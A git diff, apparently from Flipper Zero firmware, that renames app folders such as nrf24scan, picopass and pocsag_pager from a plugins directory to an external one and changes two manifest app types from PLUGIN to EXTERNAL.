rename from applications/plugins/nightstand/application.fam rename to applications/external/nightstand/application.fam diff --git a/applications/plugins/nightstand/clock.png b/applications/external/nightstand/clock.png similarity index 100% rename from applications/plugins/nightstand/clock.png rename to applications/external/nightstand/clock.png diff --git a/applications/plugins/nightstand/clock_app.c b/applications/external/nightstand/clock_app.c similarity index 100% rename from applications/plugins/nightstand/clock_app.c rename to applications/external/nightstand/clock_app.c diff --git a/applications/plugins/nightstand/clock_app.h b/applications/external/nightstand/clock_app.h similarity index 100% rename from applications/plugins/nightstand/clock_app.h rename to applications/external/nightstand/clock_app.h diff --git a/applications/plugins/nrf24scan/LICENSE b/applications/external/nrf24scan/LICENSE similarity index 100% rename from applications/plugins/nrf24scan/LICENSE rename to applications/external/nrf24scan/LICENSE diff --git a/applications/plugins/nrf24scan/README.md b/applications/external/nrf24scan/README.md similarity index 100% rename from applications/plugins/nrf24scan/README.md rename to applications/external/nrf24scan/README.md diff --git a/applications/plugins/nrf24scan/Screenshot-1.png b/applications/external/nrf24scan/Screenshot-1.png similarity index 100% rename from applications/plugins/nrf24scan/Screenshot-1.png rename to applications/external/nrf24scan/Screenshot-1.png diff --git a/applications/plugins/nrf24scan/Screenshot-2.png b/applications/external/nrf24scan/Screenshot-2.png similarity index 100% rename from applications/plugins/nrf24scan/Screenshot-2.png rename to applications/external/nrf24scan/Screenshot-2.png diff --git a/applications/plugins/nrf24scan/Screenshot-3.png b/applications/external/nrf24scan/Screenshot-3.png similarity index 100% rename from applications/plugins/nrf24scan/Screenshot-3.png rename to applications/external/nrf24scan/Screenshot-3.png diff --git a/applications/plugins/nrf24scan/Screenshot-4.png b/applications/external/nrf24scan/Screenshot-4.png similarity index 100% rename from applications/plugins/nrf24scan/Screenshot-4.png rename to applications/external/nrf24scan/Screenshot-4.png diff --git a/applications/plugins/nrf24scan/Screenshot-5.png b/applications/external/nrf24scan/Screenshot-5.png similarity index 100% rename from applications/plugins/nrf24scan/Screenshot-5.png rename to applications/external/nrf24scan/Screenshot-5.png diff --git a/applications/plugins/nrf24scan/Screenshot-6.png b/applications/external/nrf24scan/Screenshot-6.png similarity index 100% rename from applications/plugins/nrf24scan/Screenshot-6.png rename to applications/external/nrf24scan/Screenshot-6.png diff --git a/applications/plugins/nrf24scan/Screenshot-7.png b/applications/external/nrf24scan/Screenshot-7.png similarity index 100% rename from applications/plugins/nrf24scan/Screenshot-7.png rename to applications/external/nrf24scan/Screenshot-7.png diff --git a/applications/plugins/nrf24scan/application.fam b/applications/external/nrf24scan/application.fam similarity index 100% rename from applications/plugins/nrf24scan/application.fam rename to applications/external/nrf24scan/application.fam diff --git a/applications/plugins/nrf24scan/lib/nrf24/nrf24.c b/applications/external/nrf24scan/lib/nrf24/nrf24.c similarity index 100% rename from applications/plugins/nrf24scan/lib/nrf24/nrf24.c rename to applications/external/nrf24scan/lib/nrf24/nrf24.c diff --git a/applications/plugins/nrf24scan/lib/nrf24/nrf24.h b/applications/external/nrf24scan/lib/nrf24/nrf24.h similarity index 100% rename from applications/plugins/nrf24scan/lib/nrf24/nrf24.h rename to applications/external/nrf24scan/lib/nrf24/nrf24.h diff --git a/applications/plugins/nrf24scan/nrf24_packet_decoder.py b/applications/external/nrf24scan/nrf24_packet_decoder.py similarity index 100% rename from applications/plugins/nrf24scan/nrf24_packet_decoder.py rename to applications/external/nrf24scan/nrf24_packet_decoder.py diff --git a/applications/plugins/nrf24scan/nrf24scan.c b/applications/external/nrf24scan/nrf24scan.c similarity index 100% rename from applications/plugins/nrf24scan/nrf24scan.c rename to applications/external/nrf24scan/nrf24scan.c diff --git a/applications/plugins/nrf24scan/nrf24scan.h b/applications/external/nrf24scan/nrf24scan.h similarity index 100% rename from applications/plugins/nrf24scan/nrf24scan.h rename to applications/external/nrf24scan/nrf24scan.h diff --git a/applications/plugins/nrf24scan/nrf24scan_10px.png b/applications/external/nrf24scan/nrf24scan_10px.png similarity index 100% rename from applications/plugins/nrf24scan/nrf24scan_10px.png rename to applications/external/nrf24scan/nrf24scan_10px.png diff --git a/applications/plugins/nrfsniff/application.fam b/applications/external/nrfsniff/application.fam similarity index 100% rename from applications/plugins/nrfsniff/application.fam rename to applications/external/nrfsniff/application.fam diff --git a/applications/plugins/nrfsniff/lib/nrf24/nrf24.c b/applications/external/nrfsniff/lib/nrf24/nrf24.c similarity index 100% rename from applications/plugins/nrfsniff/lib/nrf24/nrf24.c rename to applications/external/nrfsniff/lib/nrf24/nrf24.c diff --git a/applications/plugins/nrfsniff/lib/nrf24/nrf24.h b/applications/external/nrfsniff/lib/nrf24/nrf24.h similarity index 100% rename from applications/plugins/nrfsniff/lib/nrf24/nrf24.h rename to applications/external/nrfsniff/lib/nrf24/nrf24.h diff --git a/applications/plugins/nrfsniff/nrfsniff.c b/applications/external/nrfsniff/nrfsniff.c similarity index 100% rename from applications/plugins/nrfsniff/nrfsniff.c rename to applications/external/nrfsniff/nrfsniff.c diff --git a/applications/plugins/nrfsniff/nrfsniff_10px.png b/applications/external/nrfsniff/nrfsniff_10px.png similarity index 100% rename from applications/plugins/nrfsniff/nrfsniff_10px.png rename to applications/external/nrfsniff/nrfsniff_10px.png diff --git a/applications/plugins/ocarina/README.md b/applications/external/ocarina/README.md similarity index 100% rename from applications/plugins/ocarina/README.md rename to applications/external/ocarina/README.md diff --git a/applications/plugins/ocarina/application.fam b/applications/external/ocarina/application.fam similarity index 100% rename from applications/plugins/ocarina/application.fam rename to applications/external/ocarina/application.fam diff --git a/applications/plugins/ocarina/icons/music_10px.png b/applications/external/ocarina/icons/music_10px.png similarity index 100% rename from applications/plugins/ocarina/icons/music_10px.png rename to applications/external/ocarina/icons/music_10px.png diff --git a/applications/plugins/ocarina/ocarina.c b/applications/external/ocarina/ocarina.c similarity index 100% rename from applications/plugins/ocarina/ocarina.c rename to applications/external/ocarina/ocarina.c diff --git a/applications/plugins/orgasmotron/application.fam b/applications/external/orgasmotron/application.fam similarity index 100% rename from applications/plugins/orgasmotron/application.fam rename to applications/external/orgasmotron/application.fam diff --git a/applications/plugins/orgasmotron/orgasmotron.c b/applications/external/orgasmotron/orgasmotron.c similarity index 100% rename from applications/plugins/orgasmotron/orgasmotron.c rename to applications/external/orgasmotron/orgasmotron.c diff --git a/applications/plugins/orgasmotron/orgasmotron_10px.png b/applications/external/orgasmotron/orgasmotron_10px.png similarity index 100% rename from applications/plugins/orgasmotron/orgasmotron_10px.png rename to applications/external/orgasmotron/orgasmotron_10px.png diff --git a/applications/plugins/paint/application.fam b/applications/external/paint/application.fam similarity index 100% rename from applications/plugins/paint/application.fam rename to applications/external/paint/application.fam diff --git a/applications/plugins/paint/paint.c b/applications/external/paint/paint.c similarity index 100% rename from applications/plugins/paint/paint.c rename to applications/external/paint/paint.c diff --git a/applications/plugins/paint/paintIcon.png b/applications/external/paint/paintIcon.png similarity index 100% rename from applications/plugins/paint/paintIcon.png rename to applications/external/paint/paintIcon.png diff --git a/applications/plugins/passgen/LICENSE b/applications/external/passgen/LICENSE similarity index 100% rename from applications/plugins/passgen/LICENSE rename to applications/external/passgen/LICENSE diff --git a/applications/plugins/passgen/README.md b/applications/external/passgen/README.md similarity index 100% rename from applications/plugins/passgen/README.md rename to applications/external/passgen/README.md diff --git a/applications/plugins/passgen/application.fam b/applications/external/passgen/application.fam similarity index 85% rename from applications/plugins/passgen/application.fam rename to applications/external/passgen/application.fam index b6c1ae8e0..6a9652dc1 100644 --- a/applications/plugins/passgen/application.fam +++ b/applications/external/passgen/application.fam @@ -1,7 +1,7 @@ App( appid="passgen", name="Password Generator", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="passgenapp", requires=[ "gui", diff --git a/applications/plugins/passgen/icons/Horizontal_arrow_9x7.png b/applications/external/passgen/icons/Horizontal_arrow_9x7.png similarity index 100% rename from applications/plugins/passgen/icons/Horizontal_arrow_9x7.png rename to applications/external/passgen/icons/Horizontal_arrow_9x7.png diff --git a/applications/plugins/passgen/icons/Ok_btn_9x9.png b/applications/external/passgen/icons/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/passgen/icons/Ok_btn_9x9.png rename to applications/external/passgen/icons/Ok_btn_9x9.png diff --git a/applications/plugins/passgen/icons/Pin_back_arrow_10x8.png b/applications/external/passgen/icons/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/passgen/icons/Pin_back_arrow_10x8.png rename to applications/external/passgen/icons/Pin_back_arrow_10x8.png diff --git a/applications/plugins/passgen/icons/Vertical_arrow_7x9.png b/applications/external/passgen/icons/Vertical_arrow_7x9.png similarity index 100% rename from applications/plugins/passgen/icons/Vertical_arrow_7x9.png rename to applications/external/passgen/icons/Vertical_arrow_7x9.png diff --git a/applications/plugins/passgen/icons/passgen_icon.png b/applications/external/passgen/icons/passgen_icon.png similarity index 100% rename from applications/plugins/passgen/icons/passgen_icon.png rename to applications/external/passgen/icons/passgen_icon.png diff --git a/applications/plugins/passgen/images/preview.png b/applications/external/passgen/images/preview.png similarity index 100% rename from applications/plugins/passgen/images/preview.png rename to applications/external/passgen/images/preview.png diff --git a/applications/plugins/passgen/passgen.c b/applications/external/passgen/passgen.c similarity index 100% rename from applications/plugins/passgen/passgen.c rename to applications/external/passgen/passgen.c diff --git a/applications/plugins/picopass/125_10px.png b/applications/external/picopass/125_10px.png similarity index 100% rename from applications/plugins/picopass/125_10px.png rename to applications/external/picopass/125_10px.png diff --git a/applications/plugins/picopass/application.fam b/applications/external/picopass/application.fam similarity index 100% rename from applications/plugins/picopass/application.fam rename to applications/external/picopass/application.fam diff --git a/applications/plugins/picopass/helpers/iclass_elite_dict.c b/applications/external/picopass/helpers/iclass_elite_dict.c similarity index 100% rename from applications/plugins/picopass/helpers/iclass_elite_dict.c rename to applications/external/picopass/helpers/iclass_elite_dict.c diff --git a/applications/plugins/picopass/helpers/iclass_elite_dict.h b/applications/external/picopass/helpers/iclass_elite_dict.h similarity index 100% rename from applications/plugins/picopass/helpers/iclass_elite_dict.h rename to applications/external/picopass/helpers/iclass_elite_dict.h diff --git a/applications/plugins/picopass/icons/DolphinMafia_115x62.png b/applications/external/picopass/icons/DolphinMafia_115x62.png similarity index 100% rename from applications/plugins/picopass/icons/DolphinMafia_115x62.png rename to applications/external/picopass/icons/DolphinMafia_115x62.png diff --git a/applications/plugins/picopass/icons/DolphinNice_96x59.png b/applications/external/picopass/icons/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/picopass/icons/DolphinNice_96x59.png rename to applications/external/picopass/icons/DolphinNice_96x59.png diff --git a/applications/plugins/picopass/icons/Nfc_10px.png b/applications/external/picopass/icons/Nfc_10px.png similarity index 100% rename from applications/plugins/picopass/icons/Nfc_10px.png rename to applications/external/picopass/icons/Nfc_10px.png diff --git a/applications/plugins/picopass/icons/RFIDDolphinReceive_97x61.png b/applications/external/picopass/icons/RFIDDolphinReceive_97x61.png similarity index 100% rename from applications/plugins/picopass/icons/RFIDDolphinReceive_97x61.png rename to applications/external/picopass/icons/RFIDDolphinReceive_97x61.png diff --git a/applications/plugins/picopass/icons/RFIDDolphinSend_97x61.png b/applications/external/picopass/icons/RFIDDolphinSend_97x61.png similarity index 100% rename from applications/plugins/picopass/icons/RFIDDolphinSend_97x61.png rename to applications/external/picopass/icons/RFIDDolphinSend_97x61.png diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipher.c b/applications/external/picopass/lib/loclass/optimized_cipher.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipher.c rename to applications/external/picopass/lib/loclass/optimized_cipher.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipher.h b/applications/external/picopass/lib/loclass/optimized_cipher.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipher.h rename to applications/external/picopass/lib/loclass/optimized_cipher.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipherutils.c b/applications/external/picopass/lib/loclass/optimized_cipherutils.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipherutils.c rename to applications/external/picopass/lib/loclass/optimized_cipherutils.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipherutils.h b/applications/external/picopass/lib/loclass/optimized_cipherutils.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipherutils.h rename to applications/external/picopass/lib/loclass/optimized_cipherutils.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_elite.c b/applications/external/picopass/lib/loclass/optimized_elite.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_elite.c rename to applications/external/picopass/lib/loclass/optimized_elite.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_elite.h b/applications/external/picopass/lib/loclass/optimized_elite.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_elite.h rename to applications/external/picopass/lib/loclass/optimized_elite.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_ikeys.c b/applications/external/picopass/lib/loclass/optimized_ikeys.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_ikeys.c rename to applications/external/picopass/lib/loclass/optimized_ikeys.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_ikeys.h b/applications/external/picopass/lib/loclass/optimized_ikeys.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_ikeys.h rename to applications/external/picopass/lib/loclass/optimized_ikeys.h diff --git a/applications/plugins/picopass/picopass.c b/applications/external/picopass/picopass.c similarity index 100% rename from applications/plugins/picopass/picopass.c rename to applications/external/picopass/picopass.c diff --git a/applications/plugins/picopass/picopass.h b/applications/external/picopass/picopass.h similarity index 100% rename from applications/plugins/picopass/picopass.h rename to applications/external/picopass/picopass.h diff --git a/applications/plugins/picopass/picopass_device.c b/applications/external/picopass/picopass_device.c similarity index 100% rename from applications/plugins/picopass/picopass_device.c rename to applications/external/picopass/picopass_device.c diff --git a/applications/plugins/picopass/picopass_device.h b/applications/external/picopass/picopass_device.h similarity index 100% rename from applications/plugins/picopass/picopass_device.h rename to applications/external/picopass/picopass_device.h diff --git a/applications/plugins/picopass/picopass_i.h b/applications/external/picopass/picopass_i.h similarity index 100% rename from applications/plugins/picopass/picopass_i.h rename to applications/external/picopass/picopass_i.h diff --git a/applications/plugins/picopass/picopass_keys.c b/applications/external/picopass/picopass_keys.c similarity index 100% rename from applications/plugins/picopass/picopass_keys.c rename to applications/external/picopass/picopass_keys.c diff --git a/applications/plugins/picopass/picopass_keys.h b/applications/external/picopass/picopass_keys.h similarity index 100% rename from applications/plugins/picopass/picopass_keys.h rename to applications/external/picopass/picopass_keys.h diff --git a/applications/plugins/picopass/picopass_worker.c b/applications/external/picopass/picopass_worker.c similarity index 100% rename from applications/plugins/picopass/picopass_worker.c rename to applications/external/picopass/picopass_worker.c diff --git a/applications/plugins/picopass/picopass_worker.h b/applications/external/picopass/picopass_worker.h similarity index 100% rename from applications/plugins/picopass/picopass_worker.h rename to applications/external/picopass/picopass_worker.h diff --git a/applications/plugins/picopass/picopass_worker_i.h b/applications/external/picopass/picopass_worker_i.h similarity index 100% rename from applications/plugins/picopass/picopass_worker_i.h rename to applications/external/picopass/picopass_worker_i.h diff --git a/applications/plugins/picopass/rfal_picopass.c b/applications/external/picopass/rfal_picopass.c similarity index 100% rename from applications/plugins/picopass/rfal_picopass.c rename to applications/external/picopass/rfal_picopass.c diff --git a/applications/plugins/picopass/rfal_picopass.h b/applications/external/picopass/rfal_picopass.h similarity index 100% rename from applications/plugins/picopass/rfal_picopass.h rename to applications/external/picopass/rfal_picopass.h diff --git a/applications/plugins/picopass/scenes/picopass_scene.c b/applications/external/picopass/scenes/picopass_scene.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene.c rename to applications/external/picopass/scenes/picopass_scene.c diff --git a/applications/plugins/picopass/scenes/picopass_scene.h b/applications/external/picopass/scenes/picopass_scene.h similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene.h rename to applications/external/picopass/scenes/picopass_scene.h diff --git a/applications/plugins/picopass/scenes/picopass_scene_card_menu.c b/applications/external/picopass/scenes/picopass_scene_card_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_card_menu.c rename to applications/external/picopass/scenes/picopass_scene_card_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_config.h b/applications/external/picopass/scenes/picopass_scene_config.h similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_config.h rename to applications/external/picopass/scenes/picopass_scene_config.h diff --git a/applications/plugins/picopass/scenes/picopass_scene_delete.c b/applications/external/picopass/scenes/picopass_scene_delete.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_delete.c rename to applications/external/picopass/scenes/picopass_scene_delete.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_delete_success.c b/applications/external/picopass/scenes/picopass_scene_delete_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_delete_success.c rename to applications/external/picopass/scenes/picopass_scene_delete_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_device_info.c b/applications/external/picopass/scenes/picopass_scene_device_info.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_device_info.c rename to applications/external/picopass/scenes/picopass_scene_device_info.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_file_select.c b/applications/external/picopass/scenes/picopass_scene_file_select.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_file_select.c rename to applications/external/picopass/scenes/picopass_scene_file_select.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_key_menu.c b/applications/external/picopass/scenes/picopass_scene_key_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_key_menu.c rename to applications/external/picopass/scenes/picopass_scene_key_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_card.c b/applications/external/picopass/scenes/picopass_scene_read_card.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_read_card.c rename to applications/external/picopass/scenes/picopass_scene_read_card.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_card_success.c b/applications/external/picopass/scenes/picopass_scene_read_card_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_read_card_success.c rename to applications/external/picopass/scenes/picopass_scene_read_card_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_factory_success.c b/applications/external/picopass/scenes/picopass_scene_read_factory_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_read_factory_success.c rename to applications/external/picopass/scenes/picopass_scene_read_factory_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_save_name.c b/applications/external/picopass/scenes/picopass_scene_save_name.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_save_name.c rename to applications/external/picopass/scenes/picopass_scene_save_name.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_save_success.c b/applications/external/picopass/scenes/picopass_scene_save_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_save_success.c rename to applications/external/picopass/scenes/picopass_scene_save_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_saved_menu.c b/applications/external/picopass/scenes/picopass_scene_saved_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_saved_menu.c rename to applications/external/picopass/scenes/picopass_scene_saved_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_start.c b/applications/external/picopass/scenes/picopass_scene_start.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_start.c rename to applications/external/picopass/scenes/picopass_scene_start.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_card.c b/applications/external/picopass/scenes/picopass_scene_write_card.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_card.c rename to applications/external/picopass/scenes/picopass_scene_write_card.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_card_success.c b/applications/external/picopass/scenes/picopass_scene_write_card_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_card_success.c rename to applications/external/picopass/scenes/picopass_scene_write_card_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_key.c b/applications/external/picopass/scenes/picopass_scene_write_key.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_key.c rename to applications/external/picopass/scenes/picopass_scene_write_key.c diff --git a/applications/plugins/pocsag_pager/application.fam b/applications/external/pocsag_pager/application.fam similarity index 88% rename from applications/plugins/pocsag_pager/application.fam rename to applications/external/pocsag_pager/application.fam index 86f8d528b..b0d1bedd1 100644 --- a/applications/plugins/pocsag_pager/application.fam +++ b/applications/external/pocsag_pager/application.fam @@ -1,7 +1,7 @@ App( appid="pocsag_pager", name="POCSAG Pager", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="pocsag_pager_app", cdefines=["APP_POCSAG_PAGER"], requires=["gui"], diff --git a/applications/plugins/pocsag_pager/helpers/pocsag_pager_event.h b/applications/external/pocsag_pager/helpers/pocsag_pager_event.h similarity index 100% rename from applications/plugins/pocsag_pager/helpers/pocsag_pager_event.h rename to applications/external/pocsag_pager/helpers/pocsag_pager_event.h diff --git a/applications/plugins/pocsag_pager/helpers/pocsag_pager_types.h b/applications/external/pocsag_pager/helpers/pocsag_pager_types.h similarity index 100% rename from applications/plugins/pocsag_pager/helpers/pocsag_pager_types.h rename to applications/external/pocsag_pager/helpers/pocsag_pager_types.h diff --git a/applications/plugins/pocsag_pager/images/Lock_7x8.png b/applications/external/pocsag_pager/images/Lock_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Lock_7x8.png rename to applications/external/pocsag_pager/images/Lock_7x8.png diff --git a/applications/plugins/pocsag_pager/images/Message_8x7.png b/applications/external/pocsag_pager/images/Message_8x7.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Message_8x7.png rename to applications/external/pocsag_pager/images/Message_8x7.png diff --git a/applications/plugins/pocsag_pager/images/Pin_back_arrow_10x8.png b/applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Pin_back_arrow_10x8.png rename to applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png diff --git a/applications/plugins/pocsag_pager/images/Quest_7x8.png b/applications/external/pocsag_pager/images/Quest_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Quest_7x8.png rename to applications/external/pocsag_pager/images/Quest_7x8.png diff --git a/applications/plugins/pocsag_pager/images/Scanning_123x52.png b/applications/external/pocsag_pager/images/Scanning_123x52.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Scanning_123x52.png rename to applications/external/pocsag_pager/images/Scanning_123x52.png diff --git a/applications/plugins/pocsag_pager/images/Unlock_7x8.png b/applications/external/pocsag_pager/images/Unlock_7x8.png similarity index 100% rename from applications/plugins/pocsag_pager/images/Unlock_7x8.png rename to applications/external/pocsag_pager/images/Unlock_7x8.png diff --git a/applications/plugins/pocsag_pager/images/WarningDolphin_45x42.png b/applications/external/pocsag_pager/images/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/pocsag_pager/images/WarningDolphin_45x42.png rename to applications/external/pocsag_pager/images/WarningDolphin_45x42.png diff --git a/applications/plugins/pocsag_pager/pocsag_pager_10px.png b/applications/external/pocsag_pager/pocsag_pager_10px.png similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_10px.png rename to applications/external/pocsag_pager/pocsag_pager_10px.png diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app.c b/applications/external/pocsag_pager/pocsag_pager_app.c similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_app.c rename to applications/external/pocsag_pager/pocsag_pager_app.c diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app_i.c b/applications/external/pocsag_pager/pocsag_pager_app_i.c similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_app_i.c rename to applications/external/pocsag_pager/pocsag_pager_app_i.c diff --git a/applications/plugins/pocsag_pager/pocsag_pager_app_i.h b/applications/external/pocsag_pager/pocsag_pager_app_i.h similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_app_i.h rename to applications/external/pocsag_pager/pocsag_pager_app_i.h diff --git a/applications/plugins/pocsag_pager/pocsag_pager_history.c b/applications/external/pocsag_pager/pocsag_pager_history.c similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_history.c rename to applications/external/pocsag_pager/pocsag_pager_history.c diff --git a/applications/plugins/pocsag_pager/pocsag_pager_history.h b/applications/external/pocsag_pager/pocsag_pager_history.h similarity index 100% rename from applications/plugins/pocsag_pager/pocsag_pager_history.h rename to applications/external/pocsag_pager/pocsag_pager_history.h diff --git a/applications/plugins/pocsag_pager/protocols/pcsg_generic.c b/applications/external/pocsag_pager/protocols/pcsg_generic.c similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pcsg_generic.c rename to applications/external/pocsag_pager/protocols/pcsg_generic.c diff --git a/applications/plugins/pocsag_pager/protocols/pcsg_generic.h b/applications/external/pocsag_pager/protocols/pcsg_generic.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pcsg_generic.h rename to applications/external/pocsag_pager/protocols/pcsg_generic.h diff --git a/applications/plugins/pocsag_pager/protocols/pocsag.c b/applications/external/pocsag_pager/protocols/pocsag.c similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pocsag.c rename to applications/external/pocsag_pager/protocols/pocsag.c diff --git a/applications/plugins/pocsag_pager/protocols/pocsag.h b/applications/external/pocsag_pager/protocols/pocsag.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/pocsag.h rename to applications/external/pocsag_pager/protocols/pocsag.h diff --git a/applications/plugins/pocsag_pager/protocols/protocol_items.c b/applications/external/pocsag_pager/protocols/protocol_items.c similarity index 100% rename from applications/plugins/pocsag_pager/protocols/protocol_items.c rename to applications/external/pocsag_pager/protocols/protocol_items.c diff --git a/applications/plugins/pocsag_pager/protocols/protocol_items.h b/applications/external/pocsag_pager/protocols/protocol_items.h similarity index 100% rename from applications/plugins/pocsag_pager/protocols/protocol_items.h rename to applications/external/pocsag_pager/protocols/protocol_items.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_receiver.c b/applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_receiver.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.h b/applications/external/pocsag_pager/scenes/pocsag_pager_scene.h similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.h rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_about.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_about.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_config.h b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_config.h rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_start.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_start.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver.c b/applications/external/pocsag_pager/views/pocsag_pager_receiver.c similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver.c rename to applications/external/pocsag_pager/views/pocsag_pager_receiver.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver.h b/applications/external/pocsag_pager/views/pocsag_pager_receiver.h similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver.h rename to applications/external/pocsag_pager/views/pocsag_pager_receiver.h diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.c b/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.c rename to applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.h b/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.h rename to applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h diff --git a/applications/plugins/pomodoro/application.fam b/applications/external/pomodoro/application.fam similarity index 100% rename from applications/plugins/pomodoro/application.fam rename to applications/external/pomodoro/application.fam diff --git 